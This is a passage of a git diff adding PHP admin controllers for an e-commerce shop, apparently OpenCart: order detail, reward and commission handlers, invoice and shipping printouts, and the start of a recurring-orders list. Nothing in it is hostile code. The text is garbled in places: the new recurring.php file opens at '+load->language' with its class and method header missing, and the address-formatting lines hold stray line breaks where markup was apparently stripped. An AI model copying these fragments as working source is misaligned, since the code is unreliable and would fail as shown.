+ if ($custom_field_value_info) {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+
+ if ($custom_field['type'] == 'checkbox' && is_array($order_info['payment_custom_field'][$custom_field['custom_field_id']])) {
+ foreach ($order_info['payment_custom_field'][$custom_field['custom_field_id']] as $custom_field_value_id) {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($custom_field_value_id);
+
+ if ($custom_field_value_info) {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+
+ if ($custom_field['type'] == 'text' || $custom_field['type'] == 'textarea' || $custom_field['type'] == 'file' || $custom_field['type'] == 'date' || $custom_field['type'] == 'datetime' || $custom_field['type'] == 'time') {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $order_info['payment_custom_field'][$custom_field['custom_field_id']],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ if ($custom_field['type'] == 'file') {
+ $upload_info = $this->model_tool_upload->getUploadByCode($order_info['payment_custom_field'][$custom_field['custom_field_id']]);
+
+ if ($upload_info) {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $upload_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+ }
+
+ // Shipping
+ $data['shipping_custom_fields'] = array();
+
+ foreach ($custom_fields as $custom_field) {
+ if ($custom_field['location'] == 'address' && isset($order_info['shipping_custom_field'][$custom_field['custom_field_id']])) {
+ if ($custom_field['type'] == 'select' || $custom_field['type'] == 'radio') {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($order_info['shipping_custom_field'][$custom_field['custom_field_id']]);
+
+ if ($custom_field_value_info) {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+
+ if ($custom_field['type'] == 'checkbox' && is_array($order_info['shipping_custom_field'][$custom_field['custom_field_id']])) {
+ foreach ($order_info['shipping_custom_field'][$custom_field['custom_field_id']] as $custom_field_value_id) {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($custom_field_value_id);
+
+ if ($custom_field_value_info) {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+
+ if ($custom_field['type'] == 'text' || $custom_field['type'] == 'textarea' || $custom_field['type'] == 'file' || $custom_field['type'] == 'date' || $custom_field['type'] == 'datetime' || $custom_field['type'] == 'time') {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $order_info['shipping_custom_field'][$custom_field['custom_field_id']],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ if ($custom_field['type'] == 'file') {
+ $upload_info = $this->model_tool_upload->getUploadByCode($order_info['shipping_custom_field'][$custom_field['custom_field_id']]);
+
+ if ($upload_info) {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $upload_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+ }
+
+ $data['ip'] = $order_info['ip'];
+ $data['forwarded_ip'] = $order_info['forwarded_ip'];
+ $data['user_agent'] = $order_info['user_agent'];
+ $data['accept_language'] = $order_info['accept_language'];
+
+ // Additional Tabs
+ $data['tabs'] = array();
+
+ if ($this->user->hasPermission('access', 'extension/payment/' . $order_info['payment_code'])) {
+ if (is_file(DIR_CATALOG . 'controller/extension/payment/' . $order_info['payment_code'] . '.php')) {
+ $content = $this->load->controller('extension/payment/' . $order_info['payment_code'] . '/order');
+ } else {
+ $content = '';
+ }
+
+ if ($content) {
+ $this->load->language('extension/payment/' . $order_info['payment_code']);
+
+ $data['tabs'][] = array(
+ 'code' => $order_info['payment_code'],
+ 'title' => $this->language->get('heading_title'),
+ 'content' => $content
+ );
+ }
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('fraud');
+
+ foreach ($extensions as $extension) {
+ if ($this->config->get('fraud_' . $extension . '_status')) {
+ $this->load->language('extension/fraud/' . $extension, 'extension');
+
+ $content = $this->load->controller('extension/fraud/' . $extension . '/order');
+
+ if ($content) {
+ $data['tabs'][] = array(
+ 'code' => $extension,
+ 'title' => $this->language->get('extension')->get('heading_title'),
+ 'content' => $content
+ );
+ }
+ }
+ }
+
+ // The URL we send API requests to
+ $data['catalog'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ // API login
+ $this->load->model('user/api');
+
+ $api_info = $this->model_user_api->getApi($this->config->get('config_api_id'));
+
+ if ($api_info && $this->user->hasPermission('modify', 'sale/order')) {
+ $session = new Session($this->config->get('session_engine'), $this->registry);
+
+ $session->start();
+
+ $this->model_user_api->deleteApiSessionBySessionId($session->getId());
+
+ $this->model_user_api->addApiSession($api_info['api_id'], $session->getId(), $this->request->server['REMOTE_ADDR']);
+
+ $session->data['api_id'] = $api_info['api_id'];
+
+ $data['api_token'] = $session->getId();
+ } else {
+ $data['api_token'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/order_info', $data));
+ } else {
+ return new Action('error/not_found');
+ }
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function createInvoiceNo() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } elseif (isset($this->request->get['order_id'])) {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $invoice_no = $this->model_sale_order->createInvoiceNo($order_id);
+
+ if ($invoice_no) {
+ $json['invoice_no'] = $invoice_no;
+ } else {
+ $json['error'] = $this->language->get('error_action');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function addReward() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info && $order_info['customer_id'] && ($order_info['reward'] > 0)) {
+ $this->load->model('customer/customer');
+
+ $reward_total = $this->model_customer_customer->getTotalCustomerRewardsByOrderId($order_id);
+
+ if (!$reward_total) {
+ $this->model_customer_customer->addReward($order_info['customer_id'], $this->language->get('text_order_id') . ' #' . $order_id, $order_info['reward'], $order_id);
+ }
+ }
+
+ $json['success'] = $this->language->get('text_reward_added');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeReward() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->deleteReward($order_id);
+ }
+
+ $json['success'] = $this->language->get('text_reward_removed');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function addCommission() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->model('customer/customer');
+
+ $affiliate_total = $this->model_customer_customer->getTotalTransactionsByOrderId($order_id);
+
+ if (!$affiliate_total) {
+ $this->model_customer_customer->addTransaction($order_info['affiliate_id'], $this->language->get('text_order_id') . ' #' . $order_id, $order_info['commission'], $order_id);
+ }
+ }
+
+ $json['success'] = $this->language->get('text_commission_added');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeCommission() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->deleteTransactionByOrderId($order_id);
+ }
+
+ $json['success'] = $this->language->get('text_commission_removed');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function history() {
+ $this->load->language('sale/order');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $this->load->model('sale/order');
+
+ $results = $this->model_sale_order->getOrderHistories($this->request->get['order_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'notify' => $result['notify'] ? $this->language->get('text_yes') : $this->language->get('text_no'),
+ 'status' => $result['status'],
+ 'comment' => nl2br($result['comment']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_sale_order->getTotalOrderHistories($this->request->get['order_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('sale/order/history', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $this->request->get['order_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('sale/order_history', $data));
+ }
+
+ public function invoice() {
+ $this->load->language('sale/order');
+
+ $data['title'] = $this->language->get('text_invoice');
+
+ if ($this->request->server['HTTPS']) {
+ $data['base'] = HTTPS_SERVER;
+ } else {
+ $data['base'] = HTTP_SERVER;
+ }
+
+ $data['direction'] = $this->language->get('direction');
+ $data['lang'] = $this->language->get('code');
+
+ $this->load->model('sale/order');
+
+ $this->load->model('setting/setting');
+
+ $data['orders'] = array();
+
+ $orders = array();
+
+ if (isset($this->request->post['selected'])) {
+ $orders = $this->request->post['selected'];
+ } elseif (isset($this->request->get['order_id'])) {
+ $orders[] = $this->request->get['order_id'];
+ }
+
+ foreach ($orders as $order_id) {
+ $order_info = $this->model_sale_order->getOrder($order_id);
+ $data['text_order'] = sprintf($this->language->get('text_order'), $order_id);
+
+ if ($order_info) {
+ $store_info = $this->model_setting_setting->getSetting('config', $order_info['store_id']);
+
+ if ($store_info) {
+ $store_address = $store_info['config_address'];
+ $store_email = $store_info['config_email'];
+ $store_telephone = $store_info['config_telephone'];
+ $store_fax = $store_info['config_fax'];
+ } else {
+ $store_address = $this->config->get('config_address');
+ $store_email = $this->config->get('config_email');
+ $store_telephone = $this->config->get('config_telephone');
+ $store_fax = $this->config->get('config_fax');
+ }
+
+ if ($order_info['invoice_no']) {
+ $invoice_no = $order_info['invoice_prefix'] . $order_info['invoice_no'];
+ } else {
+ $invoice_no = '';
+ }
+
+ if ($order_info['payment_address_format']) {
+ $format = $order_info['payment_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['payment_firstname'],
+ 'lastname' => $order_info['payment_lastname'],
+ 'company' => $order_info['payment_company'],
+ 'address_1' => $order_info['payment_address_1'],
+ 'address_2' => $order_info['payment_address_2'],
+ 'city' => $order_info['payment_city'],
+ 'postcode' => $order_info['payment_postcode'],
+ 'zone' => $order_info['payment_zone'],
+ 'zone_code' => $order_info['payment_zone_code'],
+ 'country' => $order_info['payment_country']
+ );
+
+ $payment_address = str_replace(array("\r\n", "\r", "\n"), '
', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), '
', trim(str_replace($find, $replace, $format))));
+
+ if ($order_info['shipping_address_format']) {
+ $format = $order_info['shipping_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['shipping_firstname'],
+ 'lastname' => $order_info['shipping_lastname'],
+ 'company' => $order_info['shipping_company'],
+ 'address_1' => $order_info['shipping_address_1'],
+ 'address_2' => $order_info['shipping_address_2'],
+ 'city' => $order_info['shipping_city'],
+ 'postcode' => $order_info['shipping_postcode'],
+ 'zone' => $order_info['shipping_zone'],
+ 'zone_code' => $order_info['shipping_zone_code'],
+ 'country' => $order_info['shipping_country']
+ );
+
+ $shipping_address = str_replace(array("\r\n", "\r", "\n"), '
', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), '
', trim(str_replace($find, $replace, $format))));
+
+ $this->load->model('tool/upload');
+
+ $product_data = array();
+
+ $products = $this->model_sale_order->getOrderProducts($order_id);
+
+ foreach ($products as $product) {
+ $option_data = array();
+
+ $options = $this->model_sale_order->getOrderOptions($order_id, $product['order_product_id']);
+
+ foreach ($options as $option) {
+ if ($option['type'] != 'file') {
+ $value = $option['value'];
+ } else {
+ $upload_info = $this->model_tool_upload->getUploadByCode($option['value']);
+
+ if ($upload_info) {
+ $value = $upload_info['name'];
+ } else {
+ $value = '';
+ }
+ }
+
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $value
+ );
+ }
+
+ $product_data[] = array(
+ 'name' => $product['name'],
+ 'model' => $product['model'],
+ 'option' => $option_data,
+ 'quantity' => $product['quantity'],
+ 'price' => $this->currency->format($product['price'] + ($this->config->get('config_tax') ? $product['tax'] : 0), $order_info['currency_code'], $order_info['currency_value']),
+ 'total' => $this->currency->format($product['total'] + ($this->config->get('config_tax') ? ($product['tax'] * $product['quantity']) : 0), $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $voucher_data = array();
+
+ $vouchers = $this->model_sale_order->getOrderVouchers($order_id);
+
+ foreach ($vouchers as $voucher) {
+ $voucher_data[] = array(
+ 'description' => $voucher['description'],
+ 'amount' => $this->currency->format($voucher['amount'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $total_data = array();
+
+ $totals = $this->model_sale_order->getOrderTotals($order_id);
+
+ foreach ($totals as $total) {
+ $total_data[] = array(
+ 'title' => $total['title'],
+ 'text' => $this->currency->format($total['value'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $data['orders'][] = array(
+ 'order_id' => $order_id,
+ 'invoice_no' => $invoice_no,
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($order_info['date_added'])),
+ 'store_name' => $order_info['store_name'],
+ 'store_url' => rtrim($order_info['store_url'], '/'),
+ 'store_address' => nl2br($store_address),
+ 'store_email' => $store_email,
+ 'store_telephone' => $store_telephone,
+ 'store_fax' => $store_fax,
+ 'email' => $order_info['email'],
+ 'telephone' => $order_info['telephone'],
+ 'shipping_address' => $shipping_address,
+ 'shipping_method' => $order_info['shipping_method'],
+ 'payment_address' => $payment_address,
+ 'payment_method' => $order_info['payment_method'],
+ 'product' => $product_data,
+ 'voucher' => $voucher_data,
+ 'total' => $total_data,
+ 'comment' => nl2br($order_info['comment'])
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('sale/order_invoice', $data));
+ }
+
+ public function shipping() {
+ $this->load->language('sale/order');
+
+ $data['title'] = $this->language->get('text_shipping');
+
+ if ($this->request->server['HTTPS']) {
+ $data['base'] = HTTPS_SERVER;
+ } else {
+ $data['base'] = HTTP_SERVER;
+ }
+
+ $data['direction'] = $this->language->get('direction');
+ $data['lang'] = $this->language->get('code');
+
+ $this->load->model('sale/order');
+
+ $this->load->model('catalog/product');
+
+ $this->load->model('setting/setting');
+
+ $data['orders'] = array();
+
+ $orders = array();
+
+ if (isset($this->request->post['selected'])) {
+ $orders = $this->request->post['selected'];
+ } elseif (isset($this->request->get['order_id'])) {
+ $orders[] = $this->request->get['order_id'];
+ }
+
+ foreach ($orders as $order_id) {
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ // Make sure there is a shipping method
+ if ($order_info && $order_info['shipping_code']) {
+ $store_info = $this->model_setting_setting->getSetting('config', $order_info['store_id']);
+
+ if ($store_info) {
+ $store_address = $store_info['config_address'];
+ $store_email = $store_info['config_email'];
+ $store_telephone = $store_info['config_telephone'];
+ } else {
+ $store_address = $this->config->get('config_address');
+ $store_email = $this->config->get('config_email');
+ $store_telephone = $this->config->get('config_telephone');
+ }
+
+ if ($order_info['invoice_no']) {
+ $invoice_no = $order_info['invoice_prefix'] . $order_info['invoice_no'];
+ } else {
+ $invoice_no = '';
+ }
+
+ if ($order_info['shipping_address_format']) {
+ $format = $order_info['shipping_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['shipping_firstname'],
+ 'lastname' => $order_info['shipping_lastname'],
+ 'company' => $order_info['shipping_company'],
+ 'address_1' => $order_info['shipping_address_1'],
+ 'address_2' => $order_info['shipping_address_2'],
+ 'city' => $order_info['shipping_city'],
+ 'postcode' => $order_info['shipping_postcode'],
+ 'zone' => $order_info['shipping_zone'],
+ 'zone_code' => $order_info['shipping_zone_code'],
+ 'country' => $order_info['shipping_country']
+ );
+
+ $shipping_address = str_replace(array("\r\n", "\r", "\n"), '
', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), '
', trim(str_replace($find, $replace, $format))));
+
+ $this->load->model('tool/upload');
+
+ $product_data = array();
+
+ $products = $this->model_sale_order->getOrderProducts($order_id);
+
+ foreach ($products as $product) {
+ $option_weight = 0;
+
+ $product_info = $this->model_catalog_product->getProduct($product['product_id']);
+
+ if ($product_info) {
+ $option_data = array();
+
+ $options = $this->model_sale_order->getOrderOptions($order_id, $product['order_product_id']);
+
+ foreach ($options as $option) {
+ if ($option['type'] != 'file') {
+ $value = $option['value'];
+ } else {
+ $upload_info = $this->model_tool_upload->getUploadByCode($option['value']);
+
+ if ($upload_info) {
+ $value = $upload_info['name'];
+ } else {
+ $value = '';
+ }
+ }
+
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $value
+ );
+
+ $product_option_value_info = $this->model_catalog_product->getProductOptionValue($product['product_id'], $option['product_option_value_id']);
+
+ if (!empty($product_option_value_info['weight'])) {
+ if ($product_option_value_info['weight_prefix'] == '+') {
+ $option_weight += $product_option_value_info['weight'];
+ } elseif ($product_option_value_info['weight_prefix'] == '-') {
+ $option_weight -= $product_option_value_info['weight'];
+ }
+ }
+ }
+
+ $product_data[] = array(
+ 'name' => $product_info['name'],
+ 'model' => $product_info['model'],
+ 'option' => $option_data,
+ 'quantity' => $product['quantity'],
+ 'location' => $product_info['location'],
+ 'sku' => $product_info['sku'],
+ 'upc' => $product_info['upc'],
+ 'ean' => $product_info['ean'],
+ 'jan' => $product_info['jan'],
+ 'isbn' => $product_info['isbn'],
+ 'mpn' => $product_info['mpn'],
+ 'weight' => $this->weight->format(($product_info['weight'] + (float)$option_weight) * $product['quantity'], $product_info['weight_class_id'], $this->language->get('decimal_point'), $this->language->get('thousand_point'))
+ );
+ }
+ }
+
+ $data['orders'][] = array(
+ 'order_id' => $order_id,
+ 'invoice_no' => $invoice_no,
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($order_info['date_added'])),
+ 'store_name' => $order_info['store_name'],
+ 'store_url' => rtrim($order_info['store_url'], '/'),
+ 'store_address' => nl2br($store_address),
+ 'store_email' => $store_email,
+ 'store_telephone' => $store_telephone,
+ 'email' => $order_info['email'],
+ 'telephone' => $order_info['telephone'],
+ 'shipping_address' => $shipping_address,
+ 'shipping_method' => $order_info['shipping_method'],
+ 'product' => $product_data,
+ 'comment' => nl2br($order_info['comment'])
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('sale/order_shipping', $data));
+ }
+}
diff --git a/public/admin/controller/sale/recurring.php b/public/admin/controller/sale/recurring.php
new file mode 100644
index 0000000..9e634da
--- /dev/null
+++ b/public/admin/controller/sale/recurring.php
@@ -0,0 +1,432 @@
+load->language('sale/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/recurring');
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $filter_order_recurring_id = $this->request->get['filter_order_recurring_id'];
+ } else {
+ $filter_order_recurring_id = '';
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $filter_order_id = $this->request->get['filter_order_id'];
+ } else {
+ $filter_order_id = '';
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $filter_reference = $this->request->get['filter_reference'];
+ } else {
+ $filter_reference = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = 0;
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'order_recurring_id';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . $this->request->get['filter_reference'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['recurrings'] = array();
+
+ $filter_data = array(
+ 'filter_order_recurring_id' => $filter_order_recurring_id,
+ 'filter_order_id' => $filter_order_id,
+ 'filter_reference' => $filter_reference,
+ 'filter_customer' => $filter_customer,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'order' => $order,
+ 'sort' => $sort,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $recurrings_total = $this->model_sale_recurring->getTotalRecurrings($filter_data);
+
+ $results = $this->model_sale_recurring->getRecurrings($filter_data);
+
+ foreach ($results as $result) {
+ if ($result['status']) {
+ $status = $this->language->get('text_status_' . $result['status']);
+ } else {
+ $status = '';
+ }
+
+ $data['recurrings'][] = array(
+ 'order_recurring_id' => $result['order_recurring_id'],
+ 'order_id' => $result['order_id'],
+ 'reference' => $result['reference'],
+ 'customer' => $result['customer'],
+ 'status' => $status,
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'view' => $this->url->link('sale/recurring/info', 'user_token=' . $this->session->data['user_token'] . '&order_recurring_id=' . $result['order_recurring_id'] . $url, true),
+ 'order' => $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . urlencode(html_entity_decode($this->request->get['filter_reference'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_order_recurring'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.order_recurring_id' . $url, true);
+ $data['sort_order'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.order_id' . $url, true);
+ $data['sort_reference'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.reference' . $url, true);
+ $data['sort_customer'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=customer' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . urlencode(html_entity_decode($this->request->get['filter_reference'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
